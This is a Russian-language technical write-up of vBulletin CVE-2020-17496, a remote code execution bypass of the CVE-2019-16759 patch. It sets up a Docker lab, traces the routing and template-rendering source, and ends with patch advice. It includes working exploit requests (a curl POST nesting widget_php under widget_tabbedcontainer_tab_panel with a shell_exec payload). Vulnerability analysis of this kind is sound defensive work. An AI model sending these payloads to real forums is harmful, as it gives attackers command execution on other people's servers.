Год назад я писал об уязвимости в форуме vBulletin, которая давала любому пользователю возможность выполнять произвольные команды в системе и была больше похожа на бэкдор. Тогда разработчики оперативно исправили баг, и вот в конце августа 2020 года была найдена возможность (уязвимость vBulletin CVE-2020-17496) обойти патч.
vBulletin — это продвинутый форумный движок, который позволяет множеству пользователей общаться между собой. Из-за стремительного роста популярности мессенджеров форумы в 2020 году уже не так актуальны, но если и попадаются во время тестирования, то в двух случаях из трех это будет именно vBulletin.
Уязвимость vBulletin CVE-2020-17496
Вкратце баг заключается в следующем: виджет tabbedcontainer_tab_panel разрешает загружать дочерние виджеты и передавать им произвольные параметры. С помощью специально сформированного запроса злоумышленник может вызвать widget_php и удаленно выполнить произвольный код на PHP.
Уязвимость получила статус критической и была срочно исправлена разработчиками.
Баг обнаружил Амир Этемадие (Amir Etemadieh), более известный как @Zenofex. Уязвимости присвоен номер CVE-2020-17496. Проблема существует в vBulletin с версии 5.5.4 до 5.6.2. Эксплуатация возможна из-за неполного исправления уязвимости CVE-2019-16759.
Сегодня я рассмотрю, как vBulletin работает с роутингом запросов, как работают виджеты и их шаблоны, и, конечно же, разберем детали уязвимости и проэксплуатируем систему.
Стенд
Для тестового окружения, как всегда, будем использовать Docker. Сначала создадим контейнер для базы данных. Я воспользуюсь MySQL.
1 |
docker run -d -e MYSQL_USER="vb" -e MYSQL_PASSWORD="JS7G5yUmaV" -e MYSQL_DATABASE="vb" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7 |
Затем запустим контейнер, на котором будет располагаться веб-сервер и сам форум. Не забываем слинковать его с БД.
1 |
docker run --rm -ti --link=mysql --name=vbweb --hostname=vbweb -p80:80 debian /bin/bash |
В качестве сервера я буду использовать Apache. Поэтому установим его и PHP с необходимыми модулями.
1 |
apt update && apt install -y apache2 php nano unzip netcat php-mysqli php-xml php-gd |
Включаем модуль mod-rewrite и запускаем Apache.
1 2 |
a2enmod rewrite service apache2 start |
Теперь нужно установить vBulletin. Продукт коммерческий, и я здесь не стану рассматривать, как его получить. Все тесты будем проводить на последней уязвимой версии — 5.5.6. Распаковываем ее в директорию /var/www/html и устанавливаем.
Если ты хочешь вместе со мной более подробно рассмотреть уязвимость и покопаться в сорцах, то неплохо бы настроить отладку. Я буду использовать связку Xdebug + PhpStorm.
Устанавливаем и активируем Xdebug. Делать это лучше после того, как vBulletin будет установлен, у меня были проблемы во время инсталляции, пришлось отключить.
1 2 |
apt update && apt install -y php-xdebug phpenmod xdebug |
Включаем удаленную отладку и указываем IP-адрес сервера. Обрати на него внимание, а также на пути к файлам — у тебя это все может быть другим.
1 2 |
echo "xdebug.remote_enable=1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini |
Теперь перезагружаем веб-сервер.
1 |
service apache2 restart |
В PhpStorm включаем ожидание коннекта от отладчика. Добавляем параметр XDEBUG_SESSION_START=phpstorm к запросу, если хотим, чтобы дебаггер сработал.
Стенд готов, и можно переходить к разбору уязвимости.
Обработка URI
Сначала посмотрим, как vBulletin обрабатывает запросы пользователя, а конкретно роуты.
.htaccess
1 2 3 4 5 6 |
01: <IfModule mod_rewrite.c> 02: RewriteEngine On ... 39: RewriteCond %{REQUEST_FILENAME} !-f 40: RewriteCond %{REQUEST_FILENAME} !-d 41: RewriteRule ^(.*)$ index.php?routestring=$1 [L,QSA] |
Проверяется, существует ли файл, и если нет, то указанный URI передается в качестве параметра routestring.
Как и большинство современных фреймворков, форум поддерживает автозагрузку классов через spl_autoload_register.
index.php
1 2 |
33: require_once('includes/vb5/autoloader.php'); 34: vB5_Autoloader::register(dirname(__FILE__)); |
includes/vb5/autoloader.php
1 2 3 4 5 6 7 8 9 10 11 |
13: abstract class vB5_Autoloader 14: { 15: protected static $_paths = array(); 16: protected static $_autoloadInfo = array(); 17: 18: public static function register($path) 19: { 20: self::$_paths[] = (string) $path . '/includes/'; // includes 21: 22: spl_autoload_register(array(__CLASS__, '_autoload')); 23: } |
Затем начинается проверка переданного роута. Вызывается метод isQuickRoute.
index.php
1 |
37: if (vB5_Frontend_ApplicationLight::isQuickRoute()) |
includes/vb5/frontend/applicationlight.php
1 2 3 4 5 6 7 8 9 10 11 12 13 |
079: public static function isQuickRoute() 080: { ... 091: foreach (self::$quickRoutePrefixMatch AS $prefix => $route) 092: { 093: if (substr($_REQUEST['routestring'], 0, strlen($prefix)) == $prefix) 094: { 095: return true; 096: } 097: } 098: 099: return false; 100: } |
В переменной $quickRoutePrefixMatch хранятся префиксы роутов, которые должны обрабатываться при помощи quickRoute.
1 2 3 |
ajax/apidetach ajax/api ajax/render |
Возвращение к истокам. Работа с виджетами, CVE-2019-16759 и ее патч
Обратимся к эксплоиту для прошлогодней уязвимости CVE-2019-16759.
1 2 3 4 5 6 7 |
POST /index.php HTTP/1.1 Host: vb.vh Content-Type: application/x-www-form-urlencoded Content-Length: 71 Connection: close routestring=ajax/render/widget_php&widgetConfig[code]=system('ls'); |
Здесь в качестве routestring передается ajax/render/widget_php. Префикс как раз подходит под условие quickRoute. После этого вызывается $app->execute().
index.php
1 2 3 4 |
37: if (vB5_Frontend_ApplicationLight::isQuickRoute()) 38: { ... 41: if ($app->execute()) |
Это главный метод, который передает управление на нужные участки кода, чтобы обработать запрос пользователя. В нашем случае вызывается обработчик callRender. Он запускает формирование ответа пользователю.
includes/vb5/frontend/applicationlight.php
1 2 3 4 5 6 7 8 |
161: public function execute() ... 181: $serverData = array_merge($_GET, $_POST); 182: 183: if (!empty($this->application['handler']) AND method_exists($this, $this->application['handler'])) 184: { 185: $app = $this->application['handler']; 186: call_user_func(array($this, $app), $serverData); |
includes/vb5/frontend/applicationlight.php
1 2 3 |
282: protected function callRender($serverData) 283: { 284: $routeInfo = explode('/', $serverData['routestring']); |
Далее в коде идет первый патч, который исправляет прошлогоднюю RCE.
includes/vb5/frontend/applicationlight.php
1 2 3 4 5 6 7 8 |
291: $templateName = $routeInfo[2]; 292: if ($templateName == 'widget_php') 293: { 294: $result = array( 295: 'template' => '', 296: 'css_links' => array(), 297: ); 298: } |
Если имя запрошенного шаблона widget_php, то возвращается пустой массив. Пришло время поговорить о виджетах и их шаблонах. В vBulletin есть система виджетов (модулей), которые могут отображать разную информацию на сайте. Таким образом, страница сайта может состоять из некоторого количества таких вот блоков-виджетов со своими стилями и данными. Похожая штука сейчас есть в каждой уважающей себя CMS, так как это удобный и гибкий инструмент кастомизации.
Шаблоны всех виджетов описываются в файле vbulletin-style.xml. При установке форума они записываются в базу данных.
core/install/vbulletin-style.xml
1 2 3 4 |
<templategroup name="Module"> <template name="widget_aboutauthor" templatetype="template" date="1452807873" username="vBulletin" version="5.2.1 Alpha 2"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)"> ... <template name="widget_activate_email" templatetype="template" date="1458863949" username="vBulletin" version="5.2.2 Alpha 3"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)"> |
Шаблоны не написаны на чистом PHP, а используют свой синтаксис, который сначала обрабатывается шаблонизатором. Он возвращает результат как строку кода на PHP, который затем проходит процесс «рендеринга». Во время этого данные попадают в функцию eval.
Так вот, среди вороха этих виджетов имеется widget_php. Этот модуль позволяет отображать результаты выполнения произвольного кода на PHP.
core/install/vbulletin-style.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<template name="widget_php" templatetype="template" date="1569453621" username="vBulletin" version="5.5.5 Alpha 4"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)"> {vb:data widgetConfig, widget, fetchConfig, {vb:raw widgetinstanceid}} </vb:if> <vb:if condition="!empty($widgetConfig)"> {vb:set widgetid, {vb:raw widgetConfig.widgetid}} {vb:set widgetinstanceid, {vb:raw widgetConfig.widgetinstanceid}} </vb:if> ... {vb:template module_title, widgetConfig={vb:raw widgetConfig}, show_title_divider=1, can_use_sitebuilder={vb:raw user.can_use_sitebuilder}} <div class="widget-content"> <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']"> ... {vb:phpeval {vb:raw widgetConfig.code}} ... </vb:if> </div> </div>]]></template> |
Здесь нас встречает еще одно последствие патча уязвимости. Обрати внимание на атрибут version. Это версия последнего обновления шаблона (5.5.5 Alpha 4). До патча часть кода с выполнением PHP выглядела несколько иначе.
vBulletin 5.5.3/core/install/vbulletin-style.xml
1 2 3 4 5 |
<div class="widget-content"> <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']"> {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}} {vb:raw $evaledPHP} <vb:else /> |
Об этом поговорим немного позже, здесь лишь осталось сказать, что с шаблонами работает класс vB_Template.
Теперь возвращаемся к эксплоиту CVE-2019-16759. Предположим, что у нас непатченная версия форума и скрипт выполняется дальше.
includes/vb5/frontend/applicationlight.php
1 2 3 4 5 6 7 8 9 10 |
301: $this->router = new vB5_Frontend_Routing(); 302: $this->router->setRouteInfo(array( 303: 'action' => 'actionRender', 304: 'arguments' => $serverData, 305: 'template' => $templateName, ... 310: 'queryParameters' => $_GET, 311: )); 312: Api_InterfaceAbstract::setLight(); 313: $result = vB5_Template::staticRenderAjax($templateName, $serverData); |
Теперь управление передается в класс vB5_Template. Вызывается метод staticRenderAjax, а из него попадаем в более общий staticRender.
includes/vb5/template.php
1 2 3 4 5 6 7 8 9 10 11 |
16: class vB5_Template 17: { ... 731: public static function staticRenderAjax($templateName, $data = array()) 732: { 733: $rendered = self::staticRender($templateName, $data, true, true); ... 737: return array( 738: 'template' => $rendered, 739: 'css_links' => $css, 740: ); |
Следующий шаг — это сопоставление переменных в шаблоне виджета с теми, что были переданы в запросе пользователем. Напоминаю, что я передавал параметр widgetConfig[code]=system('ls');.
includes/vb5/template.php
1 2 3 4 5 6 7 8 9 |
703: public static function staticRender($templateName, $data = array(), $isParentTemplate = true, $isAjaxTemplateRender = false) 704: { ... 710: $templater = new vB5_Template($templateName); 711: 712: foreach ($data AS $varname => $value) 713: { 714: $templater->register($varname, $value); 715: } |
core/install/vbulletin-style.xml
1 |
{vb:phpeval {vb:raw widgetConfig.code}} |
После подгрузки необходимых классов мы попадаем в метод рендеринга шаблона.
includes/vb5/template.php
1 2 3 4 |
717: $core_path = vB5_Config::instance()->core_path; 718: vB5_Autoloader::register($core_path); 719: 720: $result = $templater->render($isParentTemplate, $isAjaxTemplateRender); |
Здесь мы встречаем очередную часть кода, которая патчит уязвимость, — метод cleanRegistered.
includes/vb5/template.php
1 2 3 4 5 6 7 |
341: public function render($isParentTemplate = true, $isAjaxTemplateRender = false) 342: { ... 350: if($isParentTemplate) 351: { 352: $this->cleanRegistered(); 353: } |
includes/vb5/template.php
1 2 3 4 5 6 7 8 9 |
128: private function cleanRegistered() 129: { 130: $disallowedNames = array('widgetConfig'); 131: foreach($disallowedNames AS $name) 132: { 133: unset($this->registered[$name]); 134: unset(self::$globalRegistered[$name]); 135: } 136: } |
Здесь из зарегистрированных переменных шаблона удаляется widgetConfig, чтобы нельзя было напрямую из запроса изменять конфигурацию виджета. Как раз через эту переменную я передаю пейлоад на PHP.
Предположим, что этого метода у нас нет. Дальше инициализируется кеш vBulletin, и управление переходит к getTemplate.
includes/vb5/template.php
1 2 |
391: $templateCache = vB5_Template_Cache::instance(); 392: $templateCode = $templateCache->getTemplate($this->template); |
includes/vb5/template/cache.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
177: public function getTemplate($templateId) 178: { 179: 180: if (is_array($templateId)) 181: { 182: return $this->fetchTemplate($templateId); 183: } 184: 185: if (!isset($this->cache[$templateId])) 186: { 187: $this->fetchTemplate($templateId); 188: } 189: 190: if (isset($this->cache[$templateId])) 191: { 192: return $this->cache[$templateId]; 193: } |
Этот метод сначала пытается найти уже сгенерированный код шаблона в кеше, и если такового не обнаруживается, то в дело вступает fetchTemplate.
includes/vb5/template/cache.php
1 2 3 4 5 6 7 8 |
207: protected function fetchTemplate($templateName) 208: { ... 216: $method = 'fetch'; 217: $arguments = array('name' => $templateName); 218: } .. 224: $response = Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments); |
Вся магия происходит в этом вызове:
1 |
Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments) |
Из псевдокода шаблона получается готовый код на PHP.
includes/api/interface/collapsed.php
1 2 3 4 |
084: public function callApi($controller, $method, array $arguments = array(), $useNamedParams = false, $byTemplate = false) 085: { ... 101: $result = call_user_func_array(array(&$c, $method), $arguments); |
core/vb/api/template.php
1 2 3 4 5 6 7 |
19: class vB_Api_Template extends vB_Api 20: { ... 49: public function fetch($template_name, $styleid = -1) 50: { 51: return $this->library->fetch($template_name, $styleid); 52: } |
core/vb/library/template.php
1 2 3 4 5 6 7 |
19: class vB_Library_Template extends vB_Library 20: { ... 31: public function fetch($template_name, $styleid = -1, $nopermissioncheck = false) 32: { ... 50: $templates = $this->fetchBulk(array($template_name), $styleid, 'compiled', $nopermissioncheck); |
В методе fetchBulk шаблон виджета подгружается из базы данных.
core/vb/library/template.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
68: public function fetchBulk($template_names, $styleid = -1, $type = 'compiled', $nopermissioncheck = false) 69: { ... 121: if (!empty($templateids)) 122: { 123: $result = vB::getDbAssertor()->select('template', array('templateid' => $templateids), false, 124: array('title', 'textonly', 'template_un', 'template')); 125: 126: foreach ($result AS $template) 127: { 128: if ($type == 'compiled') 129: { 130: $response[$template['title']] = $this->getTemplateReturn($template); 131: self::$templatecache[$template['title']] = $response[$template['title']]; 132: } |
Результат записывается в кеш.
includes/vb5/template/cache.php
1 2 3 4 5 6 7 8 |
227: if (is_array($response) AND isset($response['textonly'])) 228: { ... 252: else ... 253: { 257: $response = str_replace('vB_Template_Runtime', 'vB5_Template_Runtime', $response); 258: $this->cache[$templateName] = $response; |
В случае с виджетом widget_php прошедший через шаблонизатор код выглядит так.
widget_php_rendered
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
01: $final_rendered = '' . ''; if (empty($widgetConfig) AND !empty($widgetinstanceid)) { 02: $final_rendered .= ' 03: ' . ''; $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final_rendered .= '' . ' 04: '; 05: } else { 06: $final_rendered .= ''; 07: }$final_rendered .= '' . ' ... 20: ' . vB5_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'show_title_divider' => '1', 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . ' ... 22: <div class="widget-content"> 23: ' . ''; if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) { 24: $final_rendered .= ' 25: ' . '' . ' 26: ' . vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'] . '') . ' 27: '; |
В строке 26 можно увидеть конструкцию vB5_Template_Runtime::evalPhp. Однако до патча эта часть кода выглядела несколько иначе. Как я упоминал, сам шаблон виджета имел другой вид.
vBulletin 5.5.3/core/install/vbulletin-style.xml
1 2 |
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}} <vb:else /> |
Эта конструкция обрабатывалась контроллером vB5_Frontend_Controller_Bbcode. В итоге вызывался обычный eval.
vBulletin 5.5.3/includes/vb5/frontend/controller/bbcode.php
1 2 3 4 5 6 7 8 9 10 11 |
013: class vB5_Frontend_Controller_Bbcode extends vB5_Frontend_Controller 014: { ... 224: function evalCode($code) 225: { 226: ob_start(); 227: eval($code); 228: $output = ob_get_contents(); 229: ob_end_clean(); 230: return $output; 231: } |
В новой версии форума разработчики пересмотрели логику работы виджета. Добавили другой метод — vB5_Template_Runtime::evalPhp, который, по сути, также выполняет код, переданный в параметре widgetConfig['code'], с той лишь разницей, что сначала проверяет имя шаблона, где происходит попытка вызвать метод. И если он отличается от widget_php, то возвращается пустая строка.
includes/vb5/template/runtime.php
1 2 3 4 5 6 7 8 9 10 11 12 13 |
1992: public static function evalPhp($code) 1993: { ... 1996: if (self::currentTemplate() != 'widget_php') 1997: { 1998: return ''; 1999: } 2000: ob_start(); 2001: eval($code); 2002: $output = ob_get_contents(); 2003: ob_end_clean(); 2004: return $output; 2005: } |
Такое решение должно усилить безопасность и запретить любым другим шаблонам передавать потенциально небезопасные данные в функцию eval.
После этого небольшого отступления возвращаемся к выполнению скрипта. Если код виджета успешно получен, то передаем его на выполнение.
includes/vb5/template.php
1 2 3 4 5 6 7 |
392: $templateCode = $templateCache->getTemplate($this->template); ... 400: eval($templateCode); ... 444: vB5_Template_Runtime::endTemplate(); ... 452: return $final_rendered; |
Пейлоад отрабатывает, и в ответе от сервера можно видеть результат выполнения функции system('ls').
Таким образом, возможность выполнять код через widget_php осталась, только теперь атакующий не может делать это напрямую. Это приводит нас к поиску обходных путей и новой уязвимости.
Детали CVE-2020-17496
Хочу обратить внимание, что виджеты не только могут не быть самостоятельными элементами, но и бывают вложенными. В один виджет может быть вложено несколько дочерних. То есть можно обрабатывать и отображать результаты работы других виджетов. Такая логика работы отлично вписывается в идею обхода ограничений, которые были добавлены патчем для CVE-2019-16759. Нужно только найти виджет, в шаблоне которого будет возможность вызывать дочерние. И Амир обнаружил такой — widget_tabbedcontainer_tab_panel.
core/install/vbulletin-style.xml
1 |
<template name="widget_tabbedcontainer_tab_panel" templatetype="template" date="1532130449" username="vBulletin" version="5.4.4 Alpha 2"><![CDATA[{vb:set panel_id, {vb:concat {vb:var id_prefix}, {vb:var tab_num}}} |
Виджет обрабатывает массив subWidgets, в котором ищет ключ template и подгружает шаблон указанного в нем виджета.
core/install/vbulletin-style.xml
1 2 3 |
<vb:each from="subWidgets" value="subWidget"> -- {vb:raw subWidget.template} </vb:each> |
А с помощью ключа config можно передавать параметры в дочерний шаблон (обрати внимание на атрибут widgetConfig).
core/install/vbulletin-style.xml
1 2 3 4 5 6 7 8 9 |
<vb:each from="subWidgets" value="subWidget"> {vb:template {vb:raw subWidget.template}, widgetConfig={vb:raw subWidget.config}, widgetinstanceid={vb:raw subWidget.widgetinstanceid}, widgettitle={vb:raw subWidget.title}, tabbedContainerSubModules={vb:raw subWidget.tabbedContainerSubModules}, product={vb:raw subWidget.product} } </vb:each> |
Давай проверим это на каком-нибудь простеньком виджете.
core/install/vbulletin-style.xml
1 2 3 4 5 6 7 |
<template name="widget_search2_viewall_link__searchresults" templatetype="template" date="1504914629" username="vBulletin" version="5.3.4 Alpha 2"><![CDATA[<a href="{vb:url 'search'}?r={vb:raw nodes.resultId}" class="b-button"> <vb:if condition="!empty($widgetConfig['view_all_text'])"> {vb:var widgetConfig.view_all_text} <vb:else /> {vb:phrase view_all} </vb:if> </a>]]></template> |
Здесь в качестве параметра можно передать view_all_text. Этот текст будет отображен в шаблоне как текст ссылки. Отправляем запрос.
1 |
curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel?XDEBUG_SESSION_START=phpstorm" -s -X POST -d 'subWidgets[0][template]=widget_search2_viewall_link__calendar&subWidgets[0][config][view_all_text]=HELLOTHERE!' |
При рендеринге widget_tabbedcontainer_tab_panel в том месте, где будет дочерний виджет, вставляется плейсхолдер. Шаблон приобретает следующий вид.
1 2 3 |
<div id="" class="h-clearfix js-show-on-tabs-create h-hide"> <!-- ##template_widget_search2_viewall_link__calendar_0## --> </div> |
Затем вызывается метод replacePlaceholders, который, как видно из названия, проходит по шаблону, ищет плейсхолдеры, вызывает необходимые модули и вставляет результаты их работы в нужное место.
includes/vb5/template.php
1 2 |
421: // always replace placeholder for templates, as they are process by levels 422: $templateCache->replacePlaceholders($final_rendered); |
Здесь используется точно такой же набор вызовов. Метод fetchTemplate получает шаблон виджета.
includes/vb5/template/cache.php
1 2 3 4 5 6 7 8 9 |
103: public function replacePlaceholders(&$content) 104: { 105: // This function procceses subtemplates by level 106: 107: $missing = array_diff(array_keys($this->pending), array_keys($this->cache)); 108: if (!empty($missing)) 109: { 110: $this->fetchTemplate($missing); 111: } |
Затем в него передаются переменные. Так параметры из нашего POST-запроса попадают в шаблон.
includes/vb5/template/cache.php
1 2 3 4 5 6 |
125: foreach ($levelPending as $templateName => $templates) 126: { 127: foreach ($templates as $placeholder => $templateArgs) 128: { 129: $templater = new vB5_Template($templateName); 130: $this->registerTemplateVariables($templater, $templateArgs); |
И снова рендеринг, но уже дочернего модуля.
includes/vb5/template/cache.php
1 2 3 |
132: try 133: { 134: $replace = $templater->render(false); |
Таким образом, та часть патча, где проверяется имя модуля, остается далеко позади.
includes/vb5/frontend/applicationlight.php
1 2 3 4 5 6 |
292: if ($templateName == 'widget_php') 293: { 294: $result = array( 295: 'template' => '', 296: 'css_links' => array(), 297: ); |
Но это еще не все, так как в этот раз и в ветку с методом cleanRegistered мы не попадаем. Это происходит из-за того, что вызов render был инициирован не родительским методом и переменная isParentTemplate установлена в false.
includes/vb5/template.php
1 2 3 4 5 6 |
341: public function render($isParentTemplate = true, $isAjaxTemplateRender = false) 342: { ... 350: if($isParentTemplate) 351: { 352: $this->cleanRegistered(); |
Это значит, что widgetConfig будет в целости и сохранности. Еще одна часть фикса уязвимости миновала.
Дочерний виджет отрабатывает, и результат добавляется в родительский.
includes/vb5/template/cache.php
1 |
171: $content = str_replace($placeholder, $replace, $content); |
На выходе получается что-то вроде такого:
1 2 3 4 5 |
<div id="" class="h-clearfix js-show-on-tabs-create h-hide"> <!-- BEGIN: widget_search2_viewall_link__calendar --><a href="!!VB:URL1284a43c8c1d5b8763560fbb7e88642e!!?searchJSON=" class="b-button"> HELLOTHERE </a><!-- END: widget_search2_viewall_link__calendar --> </div> |
Но это всё игрушки. Теперь пора взяться за серьезные вещи. Берем прошлогодний эксплоит и переделываем его прямой вызов на дочерний другого виджета.
1 2 |
subWidgets[0][template]=widget_php subWidgets[0][config][code]=echo shell_exec("uname -a"); exit; |
Отправляем полученный результат на widget_tabbedcontainer_tab_panel.
1 |
curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel" -s -X POST -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;' |
В ответ получаем результат выполненной на сервере команды.
Демонстрация уязвимости (видео)
Выводы
Сегодня мы затронули разные аспекты работы форумного движка vBulletin. Посмотрели на реализацию механизма виджетов и на их слабые стороны. На самом деле текущая реализация вызывает много вопросов с точки зрения безопасности. Парсинг псевдокода в PHP и выполнение его через функцию eval создает много потенциально узких мест. Например, любая неотфильтрованная или некорректно отфильтрованная переменная в шаблоне приведет к еще одной RCE. Нужно внимательно следить за корректностью формирования кода шаблона, фильтрация XSS превращается в настоящую головную боль.
Сейчас баг исправлен разработчиками, так что, если ты админишь форум на этом движке, спеши обновиться или установить патчи.
Как временную меру могу посоветовать отключить рендеринг PHP в виджетах. Как ты, возможно, заметил, в шаблоне встречалась проверка опции disable_php_rendering.
1 |
<vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']"> |
Для этого нужно зайти панель администратора, в раздел основных настроек, и включить опцию Disable PHP, Static HTML, and Ad Module rendering.
Это, конечно, может поломать что-то на твоем форуме, зато его не поломает кто-то со стороны. По крайней мере, не с помощью этого эксплоита!